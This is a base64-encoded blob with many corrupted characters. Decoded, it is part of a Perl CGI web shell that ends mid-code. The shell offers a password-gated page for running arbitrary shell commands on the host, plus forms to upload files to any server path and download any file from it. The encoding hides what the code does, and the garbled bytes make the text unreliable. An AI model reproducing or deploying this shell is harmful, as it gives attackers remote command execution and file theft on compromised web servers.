S0tLS0tLS0tLS0tLQojIExvZoMgboV0IHRoZSB6caVyIGFuZCBhbGxvdoMgdGhlIHVzZXIgdG8gbG9naWugYWdhaWuKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZa96dAp7CglwcmludCAiUaV0LUNvbatpZTogU0FWRURQV0Q9O6xuIjsgIyByZW6vdmUgcGFzcodvcmQgYa9vaallCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMbadvdXRTYoJlZWu7CgoJJlByaWi0TG9naWiTYoJlZWu7CgkmUHJpbnRMbadpbkZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwoJZXhpdDsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuYoRpbaugaXMgYaFsbGVkIHRvIGxvZaluIHRoZSB6caVyLiBJZiB0aGUgcGFzcodvcmQgbWF0YahlcywgaXQKIyBkaXNwbGFicyBhIHBhZaUgdGhhdCBhbGxvdoMgdGhlIHVzZXIgdG8gcnVuIGNvbW6hbmRzLiBJZiB0aGUgcGFzcodvcmQgZG9lbnMndAojIG6hdGNoIG9yIGlmIGivIHBhcoNoboJkIGlzIGVudGVyZWQsIGl0IGRpcoBsYXlzIGEgZm9ybSB0aGF0IGFsbG9ocyB0aGUgdXNlcgojIHRvIGxvZaluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KcoViIFBlcmZvcm6MbadpbiAKewoJaWYoJExvZaluUGFzcodvcmQgZXEgJFBhcoNoboJkKSAjIHBhcoNoboJkIG6hdGNoZWQKCXsKCQlwcmludCAiUaV0LUNvbatpZTogU0FWRURQV0Q9JExvZaluUGFzcodvcmQ7XGuiOwoJCSZQcmludFBhZaVIZWFkZXI7CgkJcHJpbnQgJkxpcoREaXI7Cgl9CgllbHNlICMgcGFzcodvcmQgZGlkbid0IG6hdGNoCgl7CgkJJlByaWi0UGFnZUhlYWRlcigicCIpOwoJCSZQcmludExvZaluUaNyZWVuOwoJCWlmKCRMbadpblBhcoNoboJkIGilICIiKSAjIHNvbWUgcGFzcodvcmQgdaFzIGVudGVyZWQKCQl7CgkJCSZQcmludExvZaluRmFpbGVkTWVzcaFnZTsKCgkJfQoJCSZQcmludExvZaluRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCWVuaXQ7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaWi0cyB0aGUgSFRNTCBmboJtIHRoYXQgYWxsbodzIHRoZSB6caVyIHRvIGVudGVyIGNvbW6hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KcoViIFByaWi0Qa9tbWFuZExpbmVJbnB6dEZvcm0KewoJJEVuYa9kZUN6cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN6cnJlbnREaXIpOwoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmbai0OiAxMXB0IFZlcmRhbmE7IGZvbnQtdaVpZah0OiBibaxkOyc+IiumQWRkTGlua0RpcigiYa9tbWFuZCIpLiI8LoNwYWu+IjsKCSRQcm9tcHQgPSAkValuTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgYa9sboI9JyNGRkZGRkYnPlthZG6pblxAJFNlcnZlckihbWUgJGRpcl6cJDwvZm9udDugIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT6NUIiBhYoRpbau9IiRTYoJpcHRMbaNhdGlvbiIgbaiTdWJtaXQ9IkVuYa9kZXIoJaMnKSI+Cgo8aWiwdXQgdHlwZT0iaGlkZGVuIiBuYW6lPSJhIiBaYWx6ZT0iYa9tbWFuZCI+Cgo8aWiwdXQgdHlwZT0iaGlkZGVuIiBuYW6lPSJkIiBaYWx6ZT0iJEVuYa9kZUN6cnJlbnREaXIiPgokUHJvbXB0CjxpbnB6dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyIgaWQ9ImMiPgo8aWiwdXQgYaxhcoM9InN6Ym6pdCIgdHlwZT0icoVibWl0IiBaYWx6ZT0iRWi0ZXIiPgo8LaZvcm0+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG9ocyB0aGUgdXNlciB0byBkbodubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN6YiBQcmludEZpbGVEbodubG9hZEZvcm0KewoJJEVuYa9kZUN6cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN6cnJlbnREaXIpOwoJbXkgJGRpciA9ICZBZGRMaWirRGlyKCJkbodubG9hZCIpOyAKCSRQcm9tcHQgPSAkValuTlQgPyAiJGRpciA+ICIgOiAiWaFkbWluXEAkUaVydmVyTmFtZSAkZGlyXVwkICI7CglyZXR6cmugPDxFTkQ7CjxmboJtIGihbWU9ImYiIG6ldGhvZD0iUE9TVCIgYWN0aW9uPSIkUaNyaXB0TG9jYXRpbauiPgo8aWiwdXQgdHlwZT0iaGlkZGVuIiBuYW6lPSJkIiBaYWx6ZT0iJEVuYa9kZUN6cnJlbnREaXIiPgo8aWiwdXQgdHlwZT0iaGlkZGVuIiBuYW6lPSJhIiBaYWx6ZT0iZG9obmxvYWQiPgokUHJvbXB0IGRvdaisbaFkPGJyPjxicjuKRmlsZWihbWUeIDxpbnB6dCBjbGFzcz0iZmlsZSIgdHlwZT0idGVudCIgbmFtZT0iZiIgcaleZT0iMzUiPjxicju8YnI+CkRvdaisbaFkOiA8aWiwdXQgYaxhcoM9InN6Ym6pdCIgdHlwZT0icoVibWl0IiBaYWx6ZT0iQmVnaWuiPgoKPC9mboJtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaWi0cyB0aGUgSFRNTCBmboJtIHRoYXQgYWxsbodzIHRoZSB6caVyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN6YiBQcmludEZpbGVVcGxvYWRGboJtCnsKCSRFbmNvZGVDdXJyZWi0RGlyID0gRWijbaRlRGlyKCRDdXJyZWi0RGlyKTsKCW6iICRkaXI9ICZBZGRMaWirRGlyKCJ6cGxvYWQiKTsKCSRQcm9tcHQgPSAkValuTlQgPyAiJGRpciA+ICIgOiAiWaFkbWluXEAkUaVydmVyTmFtZSAkZGlyXVwkICI7CglyZXR6cmugPDxFTkQ7CjxmboJtIGihbWU9ImYiIGVuYoRicGU9Im66bHRpcGFydC9mboJtLWRhdGEiIG6ldGhvZD0iUE9TVCIgYWN0aW9uPSIkUaNyaXB0TG9jYXRpbauiPgokUHJvbXB0IHVwbG9hZDxicju8YnI+CkZpbGVuYW6lOiA8aWiwdXQgYaxhcoM9ImZpbGUiIHRicGU9ImZpbGUiIGihbWU9ImYiIHNpemU9IjM6Iju8YnI+PGJyPgpPcHRpbaizOiAmbmJzcDs8aWiwdXQgdHlwZT0iYahlYatibogiIGihbWU9Im8iIGlkPSJ6cCIgdmFsdWU9Im9aZXJocml0ZSI+CjxsYWJlbCBmboI9InVwIjiPdmVydoJpdGUgaWYgaXQgRXhpcoRzPC9sYWJlbDu8YnI+PGJyPgpVcGxvYWQeJmiicoA7JmiicoA7JmiicoA7PGlucHV0IGNsYXNzPSJzdWJtaXQiIHRicGU9InN6Ym6pdCIgdmFsdWU9IkJlZaluIjuKPGlucHV0IHRicGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZWi0RGlyIjuKPGlucHV0IGNsYXNzPSJzdWJtaXQiIHRicGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+CjwvZm9ybTuKRUiECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ6bmN0aW9uIGlzIGNhbGxlZCBoaGVuIHRoZSB0aW6lboV0IGZvciBhIGNvbW6hbmQgZXhwaXJlcyugVaUgbmVlZCB0bwojIHRlcm6pbmF0ZSB0aGUgcaNyaXB0IGltbWVkaWF0ZWxiLiBUaGlzIGZ6bmN0aW9uIGlzIHZhbGlkIG9ubHkgbaugVWipeCugSXQgaXMKIyBuZXZlciBjYWxsZWQgdahlbiB0aGUgcaNyaXB0IGlzIHJ6bmipbmcgbaugTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KcoViIENvbW6hbmRUaW6lboV0CnsKCWlmKCEkValuTlQpCgl7CgkJYWxhcm0oMCk7CgkJcmV0dXJuIDw8RUiEOwo8LoRleHRhcmVhPgo8YnI+PGZvbnQgYa9sboI9eWVsbG9oPgpDba6tYWikIGVuYaVlZGVkIG6heGltdW0gdGltZSBvZiAkQa9tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mbai0Pgo8YnI+PGZvbnQgcaleZT0nNicgYa9sboI9cmVkPktpbGxlZCBpdCE8LaZvbnQ+CkVORAoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ6bmN0aW9uIGRpcoBsYXlzIHRoZSBwYWdlIHRoYXQgYa9udGFpbnMgYSBsaWirIHdoaWNoIGFsbG9ocyB0aGUgdXNlcgojIHRvIGRvdaisbaFkIHRoZSBzcGVjaWZpZWQgZmlsZSugVGhlIHBhZaUgYWxzbyBjbai0YWlucyBhIGF6dG8tcmVmcmVzaAojIGZlYXR6cmUgdGhhdCBzdGFydHMgdGhlIGRvdaisbaFkIGF6dG9tYXRpYaFsbHkuCiMgQXJndW6lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW6lIG9mIHRoZSBmaWxlIHRvIGJlIGRvdaisbaFkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREbodubG9hZExpbmtQYWdlCnsKCWxvYaFsKCRGaWxlVXJsKSA9IEBfOwoJbXkgJHJlcoVsdD0iIjsKCWlmKC6lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGVuaXN0cwoJewoJCSMgZWijbaRlIHRoZSBmaWxlIGxpbmsgca8gdaUgYaFuIHNlbmQgaXQgdG8gdGhlIGJybodzZXIKCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJyi6bnBhYasoIkgqIiwkMSkvZWc7CgkJJERvdaisbaFkTGluayA9ICIkUaNyaXB0TG9jYXRpbau/YT6kbodubG9hZCZmPSRGaWxlVXJsJm89Za8iOwoJCSRIdG6sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvdaisbaFkTGlua6wiPiI7CgkJJlByaWi0UGFnZUhlYWRlcigiYyIpOwoJCSRyZXN6bHQgLj0gPDxFTkQ7ClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLiuuPGJyPgoKSWYgdGhlIGRvdaisbaFkIGRvZXMgbm90IHN0YXJ0IGF6dG9tYXRpYaFsbHksCjxhIGhyZWY9IiREbodubG9hZExpbmsiPkNsaWNrIEhlcmU8LaE+CkVORAoJCSRyZXN6bHQgLj0gJlByaWi0Qa9tbWFuZExpbmVJbnB6dEZvcm07Cgl9CgllbHNlICMgZmlsZSBkbaVzbid0IGVuaXN0Cgl7CgkJJHJlcoVsdCAuPSAiRmFpbGVkIHRvIGRvdaisbaFkICRGaWxlVXJsOiAkISI7CgkJJHJlcoVsdCAuPSAmUHJpbnRGaWxlRG9obmxvYWRGboJtOwoJfQoJcmV0dXJuICRyZXN6bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuYoRpbaugcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyba0gdGhlIGRpcasgYWikIHNlbmRzIGl0IHRvIHRoZQojIGJybodzZXIsIHNvIHRoYXQgaXQgYaFuIGJlIGRvdaisbaFkZWQgYnkgdGhlIHVzZXIuCiMgQXJndW6lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW6lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KcoViIFNlbmRGaWxlVG9Ccm9ocaVyCnsKCW6iICRyZXN6bHQgPSAiIjsKCWxvYaFsKCRTZWikRmlsZSkgPSBAXzsKCWlmKG9wZWuoU0VOREZJTEUsICRTZWikRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcKCXsKCQlpZigkValuTlQpCgkJewoJCQliaWitbaRlKFNFTkRGSUxFKTsKCQkJYmlubW9kZShTVERPVVQpOwoJCX0KCQkkRmlsZVNpemUgPSAocoRhdCgkUaVuZEZpbGUpKVsoXTsKCQkoJEZpbGVuYW6lID0gJFNlbmRGaWxlKSA9fiAgbSEoW6uvXlxcXSopJCE7CgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpbauveC66bmtuboduXGuiOwoJCXByaWi0ICJDbai0ZWi0LUxlbmd0aDogJEZpbGVTaXplXGuiOwoJCXByaWi0ICJDbai0ZWi0LURpcoBvcal0aW9uOiBhdHRhYahtZWi0OyBmaWxlbmFtZT0kMVxuXGuiOwoJCXByaWi0IHdoaWxlKDxTRUiERklMRTupOwoJCWNsboNlKFNFTkRGSUxFKTsKCQlleGl0KDEpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkkcmVzdWx0ICu9ICJGYWlsZWQgdG8gZG9obmxvYWQgJFNlbmRGaWxlOiAkISI7CgkJJHJlcoVsdCAuPSZQcmludEZpbGVEbodubG9hZEZvcm07Cgl9CglyZXR6cmugJHJlcoVsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdWijdGlvbiBpcyBjYWxsZWQgdahlbiB0aGUgdXNlciBkbodubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGFicyBhIG6lcoNhZaUKIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaWirIHRocm96ZaggdahpYaggdGhlIGZpbGUgYaFuIGJlIGRvdaisbaFkZWQuCiMgVGhpcyBmdWijdGlvbiBpcyBhbHNvIGNhbGxlZCBoaGVuIHRoZSB6caVyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgYaFzZSwKIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZWi0IHRvIHRoZSBicm9ocaVyLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN6YiBCZWdpbkRvdaisbaFkCnsKCSRFbmNvZGVDdXJyZWi0RGlyID0gRWijbaRlRGlyKCRDdXJyZWi0RGlyKTsKCSMgZaV0IGZ6bGxiIHF6YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvdaisbaFkZWQKCWlmKCgkValuTlQgJiAoJFRyYWizZmVyRmlsZSA9fiBtL6icXHxeLjovKSkgfAoJCSghJFdpbkiUICYgKCRUcmFucaZlckZpbGUgPXugbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYWizZmVyRmlsZTsKCX0KCWVscaUgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJYahvcCgkVGFyZaV0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQoVycmVudERpcikgPXugbS9bXFxcL60kLzsKCQkkVGFyZaV0RmlsZSAuPSAkUGF0aFNlcCukVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpbaizIGVxICJnbyIpICMgdaUgaGFaZSB0byBzZWikIHRoZSBmaWxlCgl7CgkJJlNlbmRGaWxlVG9Ccm9ocaVyKCRUYXJnZXRGaWxlKTsKCX0KCWVscaUgIyBoZSBoYXZlIHRvIHNlbmQgbaiseSB0aGUgbGluayBwYWdlCgl7CgkJJlByaWi0RG9obmxvYWRMaWirUGFnZSgkVGFyZaV0RmlsZSk7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ6bmN0aW9uIGlzIGNhbGxlZCBoaGVuIHRoZSB6caVyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmboJtIGFsbG9oaWinIHRoZSB6caVyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVydalzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN6YiBVcGxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaWi0IHRoZSB6cGxvYWQgZm9ybSBhZaFpbgoJaWYoJFRyYWizZmVyRmlsZSBlcSAiIikKCXsKCQlyZXR6cmugJlByaWi0RmlsZVVwbG9hZEZvcm07CgoJfQoJbXkgJHJlcoVsdD0iIjsKCSMgcoRhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCgkkcmVzdWx0ICu9ICJVcGxvYWRpbmcgJFRyYWizZmVyRmlsZSB0byAkQoVycmVudERpciuuLjxicjuiOwoKCSMgZaV0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW6lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQKCWNoboAoJFRhcmdldEihbWUpIGlmICgkVGFyZaV0TmFtZSA9ICRDdXJyZWi0RGlyKSA9fiBtL6tcXFwvXSQvOwoJJFRyYWizZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsKCSRUYXJnZXROYW6lICu9ICRQYXRoUaVwLiQxOwoKCSRUYXJnZXRGaWxlUaleZSA9IGxlbmd0aCgkaWi7JaZpbGVkYXRhJo0pOwoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYWikIHdlIGFyZSBuboQgcoVwcG9zZWQgdG8gboZlcndyaXRlIGl0CglpZigtZSAkVGFyZaV0TmFtZSAmJiAkToB0aW9ucyBuZSAiboZlcndyaXRlIikKCXsKCQkkcmVzdWx0ICu9ICJGYWlsZWQeIERlcoRpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7Cgl9CgllbHNlICMgZmlsZSBpcyBuboQgcHJlcaVudAoJewoJCWlmKG9wZWuoVVBMT0FERklMRSwgIjukVGFyZaV0TmFtZSIpKQoJCXsKCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkValuTlQ7CgkJCXByaWi0IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9OwoJCQljbG9zZShVUExPQURGSUxFKTsKCQkJJHJlcoVsdCAuPSAiVHJhbnNmZXJlZCAkVGFyZaV0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCSRyZXN6bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldEihbWU8YnI+IjsKCQl9CgkJZWxzZQoJCXsKCQkJJHJlcoVsdCAuPSAiRmFpbGVkOiAkITxicjuiOwoJCX0KCX0KCSRyZXN6bHQgLj0gJlByaWi0Qa9tbWFuZExpbmVJbnB6dEZvcm07CglyZXR6cmugJHJlcoVsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdWijdGlvbiBpcyBjYWxsZWQgdahlbiB0aGUgdXNlciBoYWi0cyB0byBkbodubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW6lIGlzIGivdCBzcGVjaWZpZWQsIGl0IGRpcoBsYXlzIGEgZm9ybSBhbGxvdaluZyB0aGUgdXNlciB0byBzcGVjaWZiIGEKIyBmaWxlLCBvdGhlcndpcaUgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB6caVyIGFuZCBwcm9aaWRlcyBhIGxpbmsKIyB0aHJvdWdoICBoaGljaCB0aGUgZmlsZSBjYWugYmUgZG9obmxvYWRlZCuKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG9obmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaWi0IHRoZSBkbodubG9hZCBmboJtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZaVIZWFkZXIoImYiKTsKCQlyZXR6cmugJlByaWi0RmlsZURvdaisbaFkRm9ybTsKCX0KCQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggbaYgdGhlIGZpbGUgdG8gYmUgZG9obmxvYWRlZAoJaWYoKCRXaWiOVCAmICgkVHJhbnNmZXJGaWxlID6+IG0vXlxcfFuuOi8pKSB8ICghJFdpbkiUICYgKCRUcmFucaZlckZpbGUgPXugbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYWizZmVyRmlsZTsKCX0KCWVscaUgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJYahvcCgkVGFyZaV0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQoVycmVudERpcikgPXugbS9bXFxcL60kLzsKCQkkVGFyZaV0RmlsZSAuPSAkUGF0aFNlcCukVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpbaizIGVxICJnbyIpICMgdaUgaGFaZSB0byBzZWikIHRoZSBmaWxlCgl7CgkJcmV0dXJuICZTZWikRmlsZVRvQnJvdoNlcigkVGFyZaV0RmlsZSk7Cgl9CgllbHNlICMgdaUgaGFaZSB0byBzZWikIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCXJldHVybiAmUHJpbnREbodubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdWijdGlvbiBpcyBjYWxsZWQgdG8gZXhlYoV0ZSBjba6tYWikcyugSXQgZGlzcGxheXMgdGhlIG96dHB6dCBvZiB0aGUKIyBjba6tYWikIGFuZCBhbGxvdoMgdGhlIHVzZXIgdG8gZWi0ZXIgYWivdGhlciBjba6tYWikLiBUaGUgYahhbmdlIGRpcmVjdG9yeQojIGNvbW6hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseSugSWugdGhpcyBjYXNlLCB0aGUgbmVoIGRpcmVjdG9yeSBpcyBzdG9yZWQgaWuKIyBhbiBpbnRlcmihbCBaYXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjba6tYWikIGhhcyB0byBiZSBleGVjdXRlZCugVGhlCiMgboV0cHV0IG9mIHRoZSBjaGFuZaUgZGlyZWN0boJiIGNvbW6hbmQgaXMgbm90IGRpcoBsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyboIgbWVzcaFnZXMgYaFubm90IGJlIGRpcoBsYXllZCuKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlYoV0ZUNvbW6hbmQKewoJJEN6cnJlbnREaXIgPSAmVHJpbVNsYXNoZXMoJEN6cnJlbnREaXIpOwoJbXkgJHJlcoVsdD0iIjsKCWlmKCRSdWiDba6tYWikID6+IG0vXlxzKmNkXHMrKCurKS8pICMgaXQgaXMgYSBjaGFuZaUgZGlyIGNvbW6hbmQKCXsKCQkjIHdlIGNoYWinZSB0aGUgZGlyZWN0boJiIGludGVybmFsbHkuIFRoZSBvdXRwdXQgbaYgdGhlCgkJIyBjba6tYWikIGlzIGivdCBkaXNwbGFiZWQuCgkJJENvbW6hbmQgPSAiYaQgXCIkQoVycmVudERpclwiIiukQa6kUaVwLiJjZCAkMSIuJENtZFNlcCukQa6kUHdkOwoJCWNoba6wKCRDdXJyZWi0RGlyID0gYCRDba6tYWikYCk7CgkJJHJlcoVsdCAuPSAmUHJpbnRDba6tYWikTGluZUlucHV0Rm9ybTsKCgkJJHJlcoVsdCAuPSAiQa9tbWFuZDogPHJ6bjukUnVuQa9tbWFuZCA8LoJ6bju8YnI+PHRleHRhcmVhIGNvbHM9JyRjbaxzJyBybodzPSckcm9ocycgcoBlbGxjaGVjaz0nZmFscaUnPiI7CgkJIyBudWF0IHRobainIHRpbiBraGkgYah6eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdWiDba6tYWikPSAkValuTlQ/ImRpciIeImRpciAtbGlhIjsKCQkkcmVzdWx0ICu9ICZSdWiDbWQ7Cgl9ZWxzaWYoJFJ6bkNvbW6hbmQgPXugbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN6bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN6bHQgLj0gJlByaWi0Qa9tbWFuZExpbmVJbnB6dEZvcm07CgkJJHJlcoVsdCAuPSAiQa9tbWFuZDogPHJ6bjukUnVuQa9tbWFuZDwvcnVuPjxicju8dGVudGFyZWEgaWQ9JaRhdGEnIGNvbHM9JyRjbaxzJyBybodzPSckcm9ocycgcoBlbGxjaGVjaz0nZmFscaUnPiI7CgkJJHJlcoVsdCAuPSZSdWiDbWQ7Cgl9CgkkcmVzdWx0ICu9ICAiPC90ZXh0YXJlYTuiOwoJcmV0dXJuICRyZXN6bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIHJ6biBjba6tYWikCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KcoViIFJ6bkNtZAp7CglteSAkcmVzdWx0PSIiOwoJJENvbW6hbmQgPSAiYaQgXCIkQoVycmVudERpclwiIiukQa6kUaVwLiRSdWiDba6tYWikLiRSZWRpcmVjdG9yOwoJaWYoISRXaWiOVCkKCXsKCQkkU0lHeydBTFJNJo0gPSBcJkNvbW6hbmRUaW6lboV0OwoJCWFsYXJtKCRDba6tYWikVGltZW96dER6cmF0aW9uKTsKCX0KCWlmKCRTaG9oRHluYW6pY096dHB6dCkgIyBzaG9oIG96d